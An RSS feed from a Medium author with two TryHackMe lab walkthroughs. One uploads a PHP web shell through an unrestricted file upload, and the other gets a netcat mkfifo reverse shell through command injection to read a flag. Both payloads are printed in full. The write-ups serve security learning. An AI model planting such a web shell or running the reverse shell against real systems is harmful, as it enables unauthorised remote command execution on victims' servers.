<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Cssujan on Medium]]></title>
        <description><![CDATA[Stories by Cssujan on Medium]]></description>
        <link>https://medium.com/@cssujan9?source=rss-5d85559685ac------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*wjA4yGwUUm2tiAXu</url>
            <title>Stories by Cssujan on Medium</title>
            <link>https://medium.com/@cssujan9?source=rss-5d85559685ac------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 01:57:11 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@cssujan9/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[THM — Web Shell Payload— File Upload Vulnerability]]></title>
            <link>https://medium.com/@cssujan9/thm-web-shell-payload-file-upload-vulnerability-ba26e28cb49c?source=rss-5d85559685ac------2</link>
            <guid isPermaLink="false">https://medium.com/p/ba26e28cb49c</guid>
            <category><![CDATA[thm]]></category>
            <category><![CDATA[webshell]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[web-payload]]></category>
            <category><![CDATA[file-upload-vulnerability]]></category>
            <dc:creator><![CDATA[Cssujan]]></dc:creator>
            <pubDate>Wed, 02 Sep 2026 08:31:44 GMT</pubDate>
            <atom:updated>2026-09-02T08:31:44.981Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Q. Using a web shell, exploit the unrestricted file upload vulnerability and get a shell. What is the content of the flag saved in the / directory?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*lErFg14ABdc7xB-McU-czQ.png" /></figure><p>Let’s go to Web Shell Task and we can see :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*o2vGpAiI9cQuvedPVePXAg.png" /></figure><p>As per the question let’s create a file with name “shell.php” in the terminal and inside that file our payload will be</p><p><em>&lt;?php</em></p><p><em>if (isset($_GET[‘cmd’])) {</em></p><p><em>system($_GET[‘cmd’]);</em></p><p><em>}</em></p><p><em>?&gt;</em></p><p>Which means, get the cmd from the url and pass to system cmd line and execute it.</p><h3><strong>Then upload it.</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*Hh270SchuGme8vJX-ersow.png" /></figure><p>Then we get, “ The file shell.php has been uploaded”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*8xepN5NmxSi9tc3c3pMLiQ.png" /></figure><p>Now, since it’s web shell payload. We need to add path and cmd as argument in url like:</p><p><a href="http://10.66.139.72:8082/uploads/shell.php?cmd=cd%20/;cat">http://10.66.139.72:8082/uploads/shell.php?cmd=cd /;cat</a> flag.txt</p><p>And as per question hint, the web will save it’s file in <strong>/uploads/</strong> directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*lIZ4luU3oRSgj7uiTiPAUA.png" /></figure><p><strong>Command as a parameter &gt; ?cmd=cd /;cat flag.txt</strong></p><p><strong># Why is there a</strong><em> </em>;<strong><em> </em>after </strong>/<strong>?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/483/1*NAN1MGl7I_uYSY_8VsVvfQ.png" /></figure><p>It is actually <strong>two commands</strong>:</p><p>Command 1: <em>cd /</em></p><p>Command 2: <em>cat flag.txt</em></p><p><strong># Why do we need / after cd?</strong></p><p>Change directory to /</p><p>And / is the root directory of Linux.</p><p>Think of it like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*X4nQiBrm_quOAfhnre5FtQ.png" /><figcaption>Linux File System</figcaption></figure><p>As we enter the url, we can get :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*ostNpE3zvxDkJUBAGcwPXA.png" /><figcaption>Boom !!! Flag !!!!</figcaption></figure><p><strong>Reference: </strong>The below image is the php code of how file is upload and how it is execute.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*OEiIg7qhO9d8e3Yzxtufdg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ba26e28cb49c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[THM — SHELL OVERVIEW — Practical Task]]></title>
            <link>https://medium.com/@cssujan9/thm-shell-overview-practical-task-07e18999aafd?source=rss-5d85559685ac------2</link>
            <guid isPermaLink="false">https://medium.com/p/07e18999aafd</guid>
            <category><![CDATA[vapt]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[command-injection]]></category>
            <category><![CDATA[shell]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Cssujan]]></dc:creator>
            <pubDate>Tue, 01 Sep 2026 13:14:48 GMT</pubDate>
            <atom:updated>2026-09-01T13:22:41.851Z</atom:updated>
            <content:encoded><![CDATA[<p>Given,</p><p>Now that we have learned about the different types of reverse shells, let’s test our knowledge with a practical exercise, and let’s get the flag in the format THM{} from the vulnerable web server. Click on the Start Lab Machine button to start the challenge. After that, it will be accessible on the following URLs:</p><p>· 10.66.170.87:8080 hosts the landing page</p><p>· 10.66.170.87:8081 hosts the web application that is vulnerable to command injection.</p><p>· 10.66.170.87:8082 hosts the web application that is vulnerable to an unrestricted file upload.</p><p>You can access the above using the AttackBox, which will display on a split screen, or you can use your own access through the VPN.</p><p>Q. 1. Using a reverse or bind shell, exploit the command injection vulnerability to get a shell. What is the content of the flag saved in the / directory?</p><p>First, I open the browser in lab machine and go to “http://10.66.170.87:8080/”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*lErFg14ABdc7xB-McU-czQ.png" /></figure><p>For the first question I choose <strong>Reverse/Bind Shell Task </strong>Which open this interface</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*6CHg0WS6lDqiTCvgYHkxkw.png" /></figure><p>I simply decide to choose this payload, “<em>rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2&gt;&amp;1 | nc ATTACKER_IP ATTACKER_PORT &gt;/tmp/f</em>”</p><p>But before that I have to open a terminal and execute a Netcat for Shell Listeners, with cmd “nc -lnvp 4545” à which means listen at port 4545</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*u1ciXuYR5XBehEoyI4Af5g.png" /></figure><p>Then I insert the payload in input field with my <em>attack machine IP</em> and <em>port 4545</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*7y431tYATSHtcHC1RlDCDg.png" /></figure><p>As soon as I enter, I get the shell in terminal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*k-8gdejD9YGqVZUyWXwZiw.png" /></figure><p>Now the question ask, “<em>the content of the flag saved in the / directory</em>”</p><p>I need to check the file in / directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*TZfVeXzg6mkA2AWNqQpE0w.png" /></figure><p>Now with cmd <em>cat /flag.txt</em> I get the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*KBxA_yoR7SqFb-LEFJvsLQ.png" /></figure><p>Finally found the flag.</p><p><strong>Task Findings</strong></p><p><strong>The important concept is:</strong></p><p>Normal application input</p><p>↓</p><p>Application processes input</p><p>↓</p><p>Operating-system command</p><p>↓</p><p>Unexpected command execution</p><p><strong>NOTE:</strong><em> if an application improperly passes user input to the OS, an attacker may be able to make the server execute unintended commands</em></p><p><strong>Understanding Reverse Shells</strong></p><p>Victim — — initiates connection — -&gt;Attacker — — receives connection — —&gt; Interactive Shell</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=07e18999aafd" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>